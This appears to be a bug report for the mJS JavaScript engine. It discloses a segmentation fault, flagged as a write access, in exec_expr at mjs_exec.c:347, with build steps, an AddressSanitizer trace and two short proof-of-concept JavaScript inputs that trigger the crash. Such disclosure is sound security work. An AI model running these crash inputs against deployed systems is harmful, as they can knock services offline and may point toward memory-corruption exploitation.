SEGV src/mjs_exec.c:347 in exec_expr

[hope-fly]

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make

Test case1

poc.js

```javascript
[""]isNaN[NaN] = 2;
```

Test case2

poc.js

```javascript
function T(o) {
    for (let i = 0; i < 2; i++)
        JSON.stringify[i] =-undefined;
    o.length = undefined;
    return o;
}

function JSEtest(a) {
    T(a);
    undefined + T(0) + T(0);
    for(let i = 0; i < 10000000; i++) {}
}

JSEtest({});
```

Execution steps & Output

$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
=====ERROR: AddressSanitizer: SEGV on unknown address 0x560130588150 (pc 0x56013054b8c1 bp 0xfff2560130588150 sp 0x7ffde3a287f0 T0)
=====The signal is caused by a WRITE memory access.
    #0 0x56013054b8c0 in exec_expr src/mjs_exec.c:347
    #1 0x56013054b8c0 in mjs_execute src/mjs_exec.c:888
    #2 0x560130550a05 in mjs_exec_internal src/mjs_exec.c:1073
    #3 0x560130550a05 in mjs_exec_file src/mjs_exec.c:1096
    #4 0x56013050d909 in main src/mjs_main.c:47
    #5 0x7f497ee31b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #6 0x56013050e449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_exec.c:347 in exec_expr

Credits: Found by OWL337 team.